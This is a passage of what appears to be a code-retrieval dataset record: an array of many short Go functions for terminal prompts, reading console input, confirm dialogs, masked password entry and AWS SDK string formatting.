{\n\t\t\tline = append(line, segment{text: s[pos:]})\n\t\t\tbreak\n\t\t} else {\n\t\t\tclose := strings.IndexRune(s[pos+open:], ')')\n\t\t\tif close == -1 {\n\t\t\t\tline = append(line, segment{text: s[pos:]})\n\t\t\t\tbreak\n\t\t\t} else {\n\t\t\t\tline = append(line, segment{text: s[pos : pos+open]})\n\t\t\t\tline = append(line, segment{\n\t\t\t\t\ttext: s[pos+open : pos+open+close+1],\n\t\t\t\t\tfg: colorDefault | bold,\n\t\t\t\t})\n\t\t\t\tacceptedRunes += s[pos+open+1 : pos+open+close]\n\t\t\t\tpos += open + close + 1\n\t\t\t}\n\t\t}\n\t}\n\n\t// add space before cursor\n\tline = append(line, segment{text: \" \"})\n\n\t// wait for and return a valid rune\n\twrite <- line\n\tchange <- modePrompt\n\tfor {\n\t\tch := <-prompt\n\t\tif strings.ContainsRune(acceptedRunes, ch) {\n\t\t\trewrite <- append(line, segment{text: string(ch)})\n\t\t\tchange <- modeWorking\n\t\t\treturn ch\n\t\t}\n\t}\n}","func ReadTextFromConsole(message string) (string, error) {\n\treader := bufio.NewReader(os.Stdin)\n\n\tfmt.Print(message)\n\ttext, err := reader.ReadString('\\n')\n\n\treturn text, err\n}","func (cp *ConfirmPrompt) Run() (string, error) {\n\tswitch cp.Default {\n\tcase \"Y\", \"N\", \"n\", \"y\":\n\tcase \"\":\n\t\tcp.Default = \"N\"\n\tdefault:\n\t\treturn \"\", ErrorIncorrect\n\t}\n\terr := cp.Init()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcp.confirmDefault = strings.ToUpper(cp.Default)\n\n\tcp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\n\n\tcp.rl, err = readline.NewEx(cp.c)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tcp.punctuation = \"?\"\n\tanswers := \"y/N\"\n\tif strings.ToLower(cp.Default) == \"y\" {\n\t\tanswers = \"Y/n\"\n\t}\n\tif cp.ConfirmOpt != \"\" {\n\t\tanswers = answers + \"/\" + cp.ConfirmOpt\n\t}\n\tcp.suggestedAnswer = \" \" + faint(\"[\"+answers+\"]\")\n\t// cp.confirmDefault = strings.ToUpper(cp.Default)\n\t// cp.Default = \"\"\n\tcp.prompt = cp.LabelInitial(cp.Label) + cp.punctuation + cp.suggestedAnswer + \" \"\n\t// cp.out = cp.Default\n\t// cp.c.Stdin = ioutil.NopCloser(io.MultiReader(bytes.NewBuffer([]byte(cp.out)), os.Stdin))\n\n\tsetupConfirm(cp.c, cp.prompt, cp, cp.rl)\n\tcp.out, err = cp.rl.Readline()\n\tif cp.out == \"\" {\n\t\tcp.out = cp.confirmDefault\n\t}\n\tif err != nil {\n\t\tif err.Error() == \"Interrupt\" {\n\t\t\terr = ErrInterrupt\n\t\t}\n\t\tcp.rl.Write([]byte(\"\\n\"))\n\t\treturn \"\", err\n\t}\n\tcp.out = strings.ToUpper(cp.out)\n\tcp.state = cp.IconGood\n\tcp.out = cp.Formatter(cp.out)\n\tseparator := \" \"\n\tif cp.NoIcons {\n\t\tseparator = \"\"\n\t}\n\tcp.rl.Write([]byte(cp.Indent + cp.state + separator + cp.prompt + cp.InputResult(cp.out) + \"\\n\"))\n\treturn cp.out, err\n}","func (s SearchPromptsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func (t *TextField) Text() string {\n\treturn t.input.Unwrap().Get(\"value\").String()\n}","func Intro() string {\n var name string\n TypedText(\"\\n\\nYou wake up in a cold dark room\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nYou can't remember much\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nOnly that your name is: \", 50)\n fmt.Scanln(&name)\n if len(name) < 1 || len(name) > 16 {\n fmt.Printf(\"\\nPlease enter a name between 1 and 16 characters.\")\n time.Sleep(3 * time.Second)\n ClearScreen()\n Intro()\n } else {\n TypedText(\"\\nYou don't know how or why you are here\", 50)\n TypedText(\"...\", 300)\n TypedText(\"\\n\\nYou just have a strong urge to escape\", 50)\n TypedText(\"...\", 300)\n }\n \n return name\n}","func stdInText(b strings.Builder) (string, uint, error) {\n\tvar count uint\n\tscanner := bufio.NewScanner(os.Stdin)\n\n\tfor scanner.Scan() {\n\t\tb.WriteString(scanner.Text())\n\t\tb.WriteString(\" \")\n\t\tcount++\n\t}\n\n\tif err := scanner.Err(); err != nil {\n\t\treturn \"\", 0, err\n\t}\n\n\treturn strings.TrimSpace(b.String()), count, nil\n}","func (t *Text) String() string {\n\treturn output(t)\n}","func userInputString(prompt string) string {\n\n\tfmt.Printf(\"\\n%s\", prompt)\n\treader := bufio.NewReader(os.Stdin)\n\tname, err := reader.ReadString('\\n')\n\tif err != nil {\n \t\tfmt.Println(err)\n \t\treturn \"\"\n \t}\n \tif runtime.GOOS == \"windows\" {\n \t\tname = strings.TrimRight(name, \"\\r\\n\") \t\t/* for windows */\n \t} else {\n\t\tname = strings.TrimRight(name, \"\\n\") \t\t/* for linux */\n\t}\n\treturn name\n}","func (client *Client) Text() (out string, err error) {\n\tif err = client.init(); err != nil {\n\t\treturn\n\t}\n\tout = C.GoString(C.UTF8Text(client.api))\n\tif client.Trim {\n\t\tout = strings.Trim(out, \"\\n\")\n\t}\n\treturn out, err\n}","func PromptMessage(a ...interface{}) (n int, err error) {\n\treturn MessageWithType(MsgPrompt, a...)\n}","func (s SearchPromptsInput) String() string {\n\treturn awsutil.Prettify(s)\n}","func (v Season_Uc_Ta) Text() string {\n\ts, _ := v.marshalText()\n\treturn s\n}","func Text(code Code) string {\n\treturn strconv.Itoa(code.Int()) + \" \" + code.String()\n}","func (s DeletePromptOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func Prompt() {\n\tcurrDir := strings.Trim(commands.CurrentWD(), \"\\n\")\n\tfmt.Printf(\"%v $: \", currDir)\n}","func (o TimelineOutput) ProgramText() pulumi.StringOutput {\n\treturn o.ApplyT(func(v *Timeline) pulumi.StringOutput { return v.ProgramText }).(pulumi.StringOutput)\n}","func (t Terminal) Hidden(prompt string) (string, error) {\n\tvar (\n\t\ttext string\n\t\terr error\n\t)\n\n\tif prompt != \"\" {\n\t\tfmt.Fprintf(t.ErrorOutput, \"%s \", prompt)\n\t}\n\n\tin, inIsFile := t.Input.(*os.File)\n\n\tif inIsFile && terminal.IsTerminal(int(in.Fd())) {\n\t\tvar lineBytes []byte\n\n\t\tlineBytes, err = terminal.ReadPassword(int(in.Fd()))\n\t\ttext = string(lineBytes)\n\t} else {\n\t\ttext, err = t.Read(\"\")\n\t}\n\n\tfmt.Fprintln(t.ErrorOutput, \"***\")\n\n\treturn strings.TrimSpace(text), err\n}","func (r *Reply) Text(format string, values ...interface{}) *Reply {\n\tr.ContentType(ahttp.ContentTypePlainText.String())\n\tr.Render(&textRender{Format: format, Values: values})\n\treturn r\n}","func Ask(prompt string) (password string, err error) {\n\treturn FAsk(os.Stdout, prompt)\n}","func NewConstPlainPrompt(s string) Prompt {\n\treturn constPrompt{styled.Plain(s)}\n}","func NewFuncPlainPrompt(f func() string) Prompt {\n\treturn funcPrompt{func() styled.Text { return styled.Plain(f()) }}\n}","func Text(v string) UI {\n\treturn &text{textValue: v}\n}","func String(pr string, defaultValue string) string {\n\treturn defaultPrompter.String(pr, defaultValue)\n}","func (v Season_Ic_Ta) Text() string {\n\ts, _ := v.marshalText()\n\treturn s\n}","func (s ListPromptsOutput) String() string {\n\treturn awsutil.Prettify(s)\n}","func TermPrompt(prompt string, options []string, wait bool) int {\n\tscreenb := TempFini()\n\n\tidx := -1\n\t// same behavior as do { ... } while (wait && idx == -1)\n\tfor ok := true; ok; ok = wait && idx == -1 {\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tfmt.Print(prompt)\n\t\tresp, _ := reader.ReadString('\\n')\n\t\tresp = strings.TrimSpace(resp)\n\n\t\tfor i, opt := range options {\n\t\t\tif resp == opt {\n\t\t\t\tidx = i\n\t\t\t}\n\t\t}\n\n\t\tif wait && idx == -1 {\n\t\t\tfmt.Println(\"\\nInvalid choice.\")\n\t\t}\n\t}\n\n\tTempStart(screenb)\n\n\treturn idx\n}"],"string":"[\n \"func prompt(promptText string) string {\\n\\tfmt.Fprint(cmdmain.Stdout, promptText)\\n\\tsc := bufio.NewScanner(cmdmain.Stdin)\\n\\tsc.Scan()\\n\\treturn strings.TrimSpace(sc.Text())\\n}\",\n \"func promptString(question string, details string) (answer string) {\\n\\tfmt.Print(colors.Blue(question) + \\\" (\\\" + details + \\\"): \\\")\\n\\tfmt.Scanln(&answer)\\n\\treturn\\n}\",\n \"func (s Prompt) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func prompt(v interface{}) (string, error) {\\n\\tval, ok := v.(string)\\n\\tif !ok {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"expected string, got %T\\\", v)\\n\\t}\\n\\treturn fmt.Sprintf(\\\"%q\\\", val), nil\\n}\",\n \"func GetString(promptMessage string) string {\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Print(aurora.Bold(aurora.Cyan(promptMessage)))\\n\\tresponse, err := reader.ReadString('\\\\n')\\n\\tif err != nil {\\n\\t\\tGeneralErr(err, \\\"Failed to parse input (ln 25 prompt.go)\\\")\\n\\t}\\n\\treturn strings.TrimRight(response, \\\"\\\\r\\\\n\\\")\\n}\",\n \"func (t *GenericPrompt) PromptString() string {\\n\\treturn t.PromptStr\\n}\",\n \"func Prompt(msg string) (string, error) {\\n\\tif !IsInteractive() {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"not an interactive session\\\")\\n\\t}\\n\\n\\tpromptMux.Lock()\\n\\tdefer promptMux.Unlock()\\n\\n\\tvar v string\\n\\tfmt.Fprintf(os.Stderr, \\\"%s: \\\", msg)\\n\\t_, err := fmt.Scanln(&v)\\n\\treturn v, err\\n}\",\n \"func (f *Fs) Prompt(key, question string) string {\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Print(\\\"string | \\\" + question)\\n\\ttext, _ := reader.ReadString('\\\\n')\\n\\ttext = strings.TrimSpace(text)\\n\\ttext = strings.TrimRight(text, \\\"`\\\")\\n\\ttext = strings.TrimLeft(text, \\\"`\\\")\\n\\tif strings.Contains(text, \\\"?\\\") {\\n\\t\\tnewtext := strings.Split(text, \\\"?\\\")\\n\\t\\ttext = newtext[0]\\n\\t}\\n\\tf.Set(key, text)\\n\\treturn text\\n}\",\n \"func (cli *CliPrompter) String(pr string, defaultValue string) string {\\n\\tval := \\\"\\\"\\n\\tprompt := &survey.Input{\\n\\t\\tMessage: pr,\\n\\t\\tDefault: defaultValue,\\n\\t}\\n\\t_ = survey.AskOne(prompt, &val)\\n\\treturn val\\n}\",\n \"func (term *Terminal) simplePrompt(prefix string) (string, error) {\\n\\tif term.simpleReader == nil {\\n\\t\\tterm.simpleReader = bufio.NewReader(term.In)\\n\\t}\\n\\n\\t_, err := term.Out.Write([]byte(prefix))\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tline, err := term.simpleReader.ReadString('\\\\n')\\n\\tline = strings.TrimRight(line, \\\"\\\\r\\\\n \\\")\\n\\tline = strings.TrimLeft(line, \\\" \\\")\\n\\n\\treturn line, err\\n}\",\n \"func (s CreatePromptInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Prompt(stream io.Reader, message string, defaultIdx int, options ...string) (string, error) {\\n\\tif len(options) < 1 {\\n\\t\\treturn \\\"\\\", errors.New(\\\"no options specified\\\")\\n\\t}\\n\\n\\tvalidOptions := map[string]bool{}\\n\\n\\tvar buf bytes.Buffer\\n\\tbuf.WriteString(message)\\n\\n\\tbuf.WriteString(\\\" (\\\")\\n\\tfor i, o := range options {\\n\\t\\tvalidOptions[strings.ToLower(o)] = true\\n\\n\\t\\tif i == defaultIdx {\\n\\t\\t\\tbuf.WriteString(strings.Title(o))\\n\\t\\t} else {\\n\\t\\t\\tbuf.WriteString(o)\\n\\t\\t}\\n\\n\\t\\tif i < len(options)-1 {\\n\\t\\t\\tbuf.WriteString(\\\"/\\\")\\n\\t\\t}\\n\\t}\\n\\tbuf.WriteString(\\\") \\\")\\n\\n\\treader := bufio.NewReader(stream)\\n\\tfor {\\n\\t\\tfmt.Print(buf.String())\\n\\t\\tselected, _ := reader.ReadString('\\\\n')\\n\\t\\tselected = strings.TrimSpace(selected)\\n\\n\\t\\tif selected == \\\"\\\" {\\n\\t\\t\\treturn options[defaultIdx], nil\\n\\t\\t}\\n\\n\\t\\tif valid, _ := validOptions[strings.ToLower(selected)]; valid {\\n\\t\\t\\treturn selected, nil\\n\\t\\t}\\n\\t}\\n}\",\n \"func Prompt(prompt string) (s string, err error) {\\n\\tfmt.Printf(\\\"%s\\\", prompt)\\n\\tstdin := bufio.NewReader(os.Stdin)\\n\\tl, _, err := stdin.ReadLine()\\n\\treturn string(l), err\\n}\",\n \"func promptString(label string, validation func(i string) error) (input string, err error) {\\n\\tprompt := survey.Input{\\n\\t\\tMessage: label,\\n\\t}\\n\\tvar res string\\n\\tif err := survey.AskOne(&prompt, &res); err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\treturn res, nil\\n}\",\n \"func (s CreatePromptOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Prompt(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string) {\\n\\ts := a.GetDestination()\\n\\tformatted := format(a, textColorPrompt, emoji, prefix, message)\\n\\tfmt.Fprint(s, formatted)\\n}\",\n \"func Ask(label, startString string) (string, error) {\\n\\tp := Prompt{\\n\\t\\tBasicPrompt: BasicPrompt{\\n\\t\\t\\tLabel: label,\\n\\t\\t\\tDefault: startString,\\n\\t\\t},\\n\\t}\\n\\treturn p.Run()\\n}\",\n \"func (p Property) PromptString(str string) string {\\n\\treturn fmt.Sprintf(\\\"%s%s%s\\\", p.PromptEscape(), str, Reset.PromptEscape())\\n}\",\n \"func (s PromptSpecification) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Prompt(msg string, isPassword bool) (string, error) {\\n\\tvalidate := func(input string) error {\\n\\t\\tif input == \\\"\\\" {\\n\\t\\t\\treturn errors.New(\\\"Value can't be empty\\\")\\n\\t\\t}\\n\\t\\treturn nil\\n\\t}\\n\\n\\tvar prompt promptui.Prompt\\n\\tif isPassword == true {\\n\\t\\tprompt = promptui.Prompt{\\n\\t\\t\\tLabel: msg,\\n\\t\\t\\tValidate: validate,\\n\\t\\t\\tMask: '*',\\n\\t\\t}\\n\\t} else {\\n\\t\\tprompt = promptui.Prompt{\\n\\t\\t\\tLabel: msg,\\n\\t\\t\\tValidate: validate,\\n\\t\\t}\\n\\t}\\n\\n\\tresult, err := prompt.Run()\\n\\tHandleError(err)\\n\\n\\treturn result, nil\\n}\",\n \"func (p *Prompt) Ask(text string, opts *InputOptions) (string, error) {\\n\\tformat := p.fmtInputOptions(opts)\\n\\n\\tresp, err := p.read(text, format)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\tinput := strings.TrimSpace(resp)\\n\\n\\t// show me what you're working with\\n\\tswitch input {\\n\\tcase \\\"\\\":\\n\\t\\t// check the opts\\n\\t\\tswitch opts {\\n\\t\\tcase nil:\\n\\t\\t\\t// no options and no input means we return an error\\n\\t\\t\\treturn \\\"\\\", errors.New(\\\"no input or default value provided\\\")\\n\\t\\tdefault:\\n\\t\\t\\t// check if there is a default to return\\n\\t\\t\\tif opts.Default != \\\"\\\" {\\n\\t\\t\\t\\treturn opts.Default, nil\\n\\t\\t\\t}\\n\\n\\t\\t\\tif opts.Validator != nil {\\n\\t\\t\\t\\t// validate in provided input - even if empty\\n\\t\\t\\t\\tif err := opts.Validator(input); err != nil {\\n\\t\\t\\t\\t\\treturn \\\"\\\", err\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\tdefault:\\n\\t\\tswitch opts {\\n\\t\\tcase nil:\\n\\t\\t\\t// there are no options, so just return the input\\n\\t\\t\\treturn input, nil\\n\\t\\tdefault:\\n\\t\\t\\tif opts.Validator != nil {\\n\\t\\t\\t\\t// validate in provided input\\n\\t\\t\\t\\tif err := opts.Validator(input); err != nil {\\n\\t\\t\\t\\t\\treturn \\\"\\\", err\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn input, nil\\n}\",\n \"func (s DescribePromptInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func (s Style) PromptString(str string) string {\\n\\treturn fmt.Sprintf(\\\"%s%s%s\\\", s.PromptEscape(), str, Reset.PromptEscape())\\n}\",\n \"func Promptf(a interfaces.AssumeCredentialProcess, emoji string, prefix string, message string, args ...interface{}) {\\n\\ts := a.GetDestination()\\n\\tformatted := format(a, textColorPrompt, emoji, prefix, message)\\n\\tfmt.Fprintf(s, formatted, args...)\\n}\",\n \"func (c *Client) Ask(prompt string) string {\\n\\tfmt.Printf(\\\"%s \\\", prompt)\\n\\trd := bufio.NewReader(os.Stdin)\\n\\tline, err := rd.ReadString('\\\\n')\\n\\tif err == nil {\\n\\t\\treturn strings.TrimSpace(line)\\n\\t}\\n\\treturn \\\"\\\"\\n}\",\n \"func (s DescribePromptOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func AskString(question string) string {\\n\\tfmt.Fprintf(Writer, \\\"%s:\\\\n\\\\t\\\", question)\\n\\ts, _ := readline()\\n\\treturn s\\n}\",\n \"func (s PromptSummary) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Input(prompt string) string {\\n\\ttext, err := InputWithError(prompt)\\n\\tif err != nil {\\n\\t\\tpanic(err)\\n\\t}\\n\\treturn text\\n}\",\n \"func (p Package) StringToPrompt() string {\\n\\treturn fmt.Sprintf(\\\"Repo:\\\\t%s/%s\\\\nTag:\\\\t%s\\\\nAsset:\\\\t%s\\\\nBinary:\\\\t%s\\\", p.Repository.Owner, p.Repository.Name, p.Release.Tag, p.Asset.DownloadURL.FileName().String(), p.ExecBinary.Name)\\n}\",\n \"func getTextInput(prompt string) (string, error) {\\n\\t// printing the prompt with tabWriter to ensure adequate formatting of tabulated list of options\\n\\ttabWriter := help.StdoutWriter\\n\\tfmt.Fprint(tabWriter, prompt)\\n\\ttabWriter.Flush()\\n\\n\\treader := bufio.NewReader(os.Stdin)\\n\\ttext, err := reader.ReadString('\\\\n')\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\ttext = strings.TrimSuffix(text, \\\"\\\\n\\\")\\n\\ttext = strings.TrimSuffix(text, \\\"\\\\r\\\")\\n\\n\\treturn text, nil\\n}\",\n \"func Prompt(prompt string, refresh func(int, int)) string {\\n\\treturn PromptWithCallback(prompt, refresh, nil)\\n}\",\n \"func (s *promptString) promptString() error {\\n\\tprompt := promptui.Prompt{\\n\\t\\tLabel: s.label,\\n\\t\\tDefault: s.defaultValue,\\n\\t}\\n\\n\\tswitch s.validation {\\n\\tcase \\\"email\\\":\\n\\t\\tprompt.Validate = validateEmailInput\\n\\tcase \\\"no-spaces-and-no-uppercase\\\":\\n\\t\\tprompt.Validate = validateWhiteSpacesAndUpperCase\\n\\tcase \\\"url\\\":\\n\\t\\tprompt.Validate = validateURL\\n\\tdefault:\\n\\t\\tprompt.Validate = validateEmptyInput\\n\\t}\\n\\n\\tresult, err := prompt.Run()\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\ts.value = result\\n\\treturn nil\\n}\",\n \"func (q *Query) Prompt() {\\n\\tfmt.Printf(\\\"\\\\n%s [%s]: \\\", q.Question, q.DefaultValue)\\n\\tvar response string\\n\\tfmt.Scanln(&response)\\n\\tq.Answer = response\\n\\n}\",\n \"func InputPrompt(label string, required bool) string {\\n\\tinput := bufio.NewScanner(os.Stdin)\\n\\n\\tfmt.Printf(\\\"%s : \\\\n\\\", label)\\n\\tfor input.Scan() {\\n\\n\\t\\tinputValue := input.Text()\\n\\t\\tif !required || len(inputValue) > 0 {\\n\\t\\t\\treturn inputValue\\n\\t\\t}\\n\\n\\t\\tfmt.Printf(\\\"%s : \\\\n\\\", label)\\n\\t}\\n\\n\\treturn \\\"\\\"\\n}\",\n \"func PromptMessage(message, value string) string {\\n\\tfor value == \\\"\\\" {\\n\\t\\treader := bufio.NewReader(os.Stdin)\\n\\t\\tfmt.Print(message + \\\": \\\")\\n\\t\\tvalueRaw, err := reader.ReadString('\\\\n')\\n\\t\\terrors.CheckError(err)\\n\\t\\tvalue = strings.TrimSpace(valueRaw)\\n\\t}\\n\\treturn value\\n}\",\n \"func (s UpdatePromptInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func ReadString(prompt string) string {\\n\\treader := bufio.NewReader(os.Stdin)\\n\\tfmt.Print(prompt)\\n\\ttext, _ := reader.ReadString('\\\\n')\\n\\tcleanText := strings.TrimSpace(text)\\n\\tif cleanText == \\\"exit\\\" {\\n\\t\\tlog.Fatal(\\\"exitting program...\\\")\\n\\t}\\n\\n\\treturn cleanText\\n}\",\n \"func (console *Console) Prompt() (string, error) {\\n\\tfmt.Print(\\\">\\\")\\n\\n\\trawInput, hasMore, err := console.reader.ReadLine()\\n\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"issue reading from STDIN\\\")\\n\\t}\\n\\n\\tinput := string(rawInput)\\n\\n\\tif hasMore {\\n\\t\\trawInput, hasMore, err = console.reader.ReadLine()\\n\\n\\t\\tif err != nil {\\n\\t\\t\\treturn \\\"\\\", errors.Wrap(err, \\\"issue reading additional characters in buffer\\\")\\n\\t\\t}\\n\\n\\t\\tinput += string(rawInput)\\n\\t}\\n\\n\\treturn input, nil\\n}\",\n \"func (f *Factor) Prompt() string { return f.driver().prompt(f) }\",\n \"func (c *Confirm) Prompt(rl *readline.Instance) (interface{}, error) {\\n\\t// render the question template\\n\\tout, err := core.RunTemplate(\\n\\t\\tConfirmQuestionTemplate,\\n\\t\\tConfirmTemplateData{Confirm: *c},\\n\\t)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// use the result of the template as the prompt for the readline instance\\n\\trl.SetPrompt(fmt.Sprintf(out))\\n\\n\\t// start waiting for input\\n\\tanswer, err := c.getBool(rl)\\n\\t// if something went wrong\\n\\tif err != nil {\\n\\t\\t// bubble up\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// convert the boolean into the appropriate string\\n\\treturn answer, nil\\n}\",\n \"func (m *PromptManager) CustomText(p string, l string, opts ...RequestOption) (t map[string]interface{}, err error) {\\n\\terr = m.Request(\\\"GET\\\", m.URI(\\\"prompts\\\", p, \\\"custom-text\\\", l), &t, opts...)\\n\\treturn\\n}\",\n \"func PromptForSecret(msg string) (string, error) {\\n\\tfmt.Print(msg)\\n\\n\\tvar resp string\\n\\tif _, err := ScanlnNoEcho(&resp); err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\n\\t// Print new line after prompt since new line wasn't echoed\\n\\tfmt.Println()\\n\\n\\treturn resp, nil\\n}\",\n \"func (s UpdatePromptOutput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func Prompt() string {\\n\\tfillMessage(&msg)\\n\\tgitMsg := msg.String()\\n\\tInfo(\\\"\\\\nCommit message is:\\\\n%s\\\\n\\\", gitMsg)\\n\\tvar err error\\n\\tcp := bb.ConfirmPrompt{\\n\\t\\tBasicPrompt: bb.BasicPrompt{\\n\\t\\t\\tLabel: \\\"Is everything OK? Continue\\\",\\n\\t\\t\\tDefault: \\\"N\\\",\\n\\t\\t\\tNoIcons: true,\\n\\t\\t},\\n\\t\\tConfirmOpt: \\\"e\\\",\\n\\t}\\n\\tc, err := cp.Run()\\n\\tcheckConfirmStatus(c, err)\\n\\tif c == \\\"E\\\" {\\n\\t\\tgitMsg, err = bb.Editor(\\\"\\\", gitMsg)\\n\\t\\tcheckInterrupt(err)\\n\\t\\tnumlines := len(strings.Split(gitMsg, \\\"\\\\n\\\")) + 2\\n\\t\\tfor ; numlines > 0; numlines-- {\\n\\t\\t\\tfmt.Print(bb.ClearUpLine())\\n\\t\\t}\\n\\t\\tInfo(\\\"Commit message is:\\\\n%s\\\", gitMsg)\\n\\t\\tcheckConfirmStatus(bb.Confirm(\\\"Is everything OK? Continue\\\", \\\"N\\\", true))\\n\\t\\treturn gitMsg\\n\\t}\\n\\treturn gitMsg\\n}\",\n \"func (t Terminal) Read(prompt string) (string, error) {\\n\\tif prompt != \\\"\\\" {\\n\\t\\tfmt.Fprintf(t.Output, \\\"%s \\\", prompt)\\n\\t}\\n\\n\\treader := bufio.NewReader(t.Input)\\n\\n\\ttext, readErr := reader.ReadString('\\\\n')\\n\\tif readErr != nil {\\n\\t\\treturn \\\"\\\", readErr\\n\\t}\\n\\n\\ttext = strings.TrimSpace(text)\\n\\n\\treturn text, nil\\n}\",\n \"func PromptUsername(username string) string {\\n\\treturn PromptMessage(\\\"Username\\\", username)\\n}\",\n \"func (m *display) Text(data string) (int) {\\n\\tn := m.Send([]byte(data))\\n\\treturn n\\n}\",\n \"func (s GetPromptFileInput) String() string {\\n\\treturn awsutil.Prettify(s)\\n}\",\n \"func ConsolePromptAndAnswer(prompt string, replyLowercase bool, autoTrim ...bool) string {\\n\\tfmt.Print(prompt)\\n\\n\\tanswer := \\\"\\\"\\n\\n\\tif _, e := fmt.Scanln(&answer); e != nil {\\n\\t\\tanswer = \\\"\\\"\\n\\t\\tfmt.Println()\\n\\t} else {\\n\\t\\tanswer = RightTrimLF(answer)\\n\\n\\t\\tif replyLowercase {\\n\\t\\t\\tanswer = strings.ToLower(answer)\\n\\t\\t}\\n\\n\\t\\tif len(autoTrim) > 0 {\\n\\t\\t\\tif autoTrim[0] {\\n\\t\\t\\t\\tanswer = Trim(answer)\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\tfmt.Println()\\n\\t}\\n\\n\\treturn answer\\n}\",\n \"func (t *GenericPrompt) Parse(value string) error {\\n\\treturn t.ParseValue(value)\\n}\",\n \"func Text(s string) string {\\n\\treturn au.Magenta(s).String()\\n}\",\n \"func PromptTextInput(introwords string, isValid validCheck, uiEvents <-chan ui.Event, menus chan<- string) (string, error) {\\n\\tmenus <- introwords\\n\\tdefer ui.Clear()\\n\\tinput, _, err := processInput(introwords, 0, 80, 1, isValid, uiEvents)\\n\\treturn input, err\\n}\",\n \"func (dbg *Debug) GetPrompt(name string) string {\\n\\thi := dbg.GetCurrentHart()\\n\\tstate := []rune{'h', 'r'}[util.BoolToInt(hi.State == rv.Running)]\\n\\treturn fmt.Sprintf(\\\"%s.%d%c> \\\", name, hi.ID, state)\\n}\",\n \"func (term *Terminal) prompt(buf *Buffer, in io.Reader) (string, error) {\\n\\tinput, err := term.setup(buf, in)\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", err\\n\\t}\\n\\tterm.History = append(term.History, \\\"\\\")\\n\\tterm.histIdx = len(term.History) - 1\\n\\tcurHistIdx := term.histIdx\\n\\n\\tfor {\\n\\t\\ttyp, char, err := term.read(input)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn buf.String(), err\\n\\t\\t}\\n\\n\\t\\tswitch typ {\\n\\t\\tcase evChar:\\n\\t\\t\\terr = buf.Insert(char)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tterm.History[curHistIdx] = buf.String()\\n\\t\\tcase evSkip:\\n\\t\\t\\tcontinue\\n\\t\\tcase evReturn:\\n\\t\\t\\terr = buf.EndLine()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tline := buf.String()\\n\\t\\t\\tif line == \\\"\\\" {\\n\\t\\t\\t\\tterm.histIdx = curHistIdx - 1\\n\\t\\t\\t\\tterm.History = term.History[:curHistIdx]\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tterm.History[curHistIdx] = line\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn line, nil\\n\\t\\tcase evEOF:\\n\\t\\t\\terr = buf.EndLine()\\n\\t\\t\\tif err == nil {\\n\\t\\t\\t\\terr = ErrEOF\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn buf.String(), err\\n\\t\\tcase evCtrlC:\\n\\t\\t\\terr = buf.EndLine()\\n\\t\\t\\tif err == nil {\\n\\t\\t\\t\\terr = ErrCTRLC\\n\\t\\t\\t}\\n\\n\\t\\t\\treturn buf.String(), err\\n\\t\\tcase evBack:\\n\\t\\t\\terr = buf.DelLeft()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\n\\t\\t\\tterm.History[curHistIdx] = buf.String()\\n\\t\\tcase evClear:\\n\\t\\t\\terr = buf.ClsScreen()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\t\\tcase evHome:\\n\\t\\t\\terr = buf.Start()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\t\\tcase evEnd:\\n\\t\\t\\terr = buf.End()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn buf.String(), err\\n\\t\\t\\t}\\n\\t\\tcase evUp:\\n\\t\\t\\tidx := term.histIdx\\n\\t\\t\\tif term.histIdx > 0 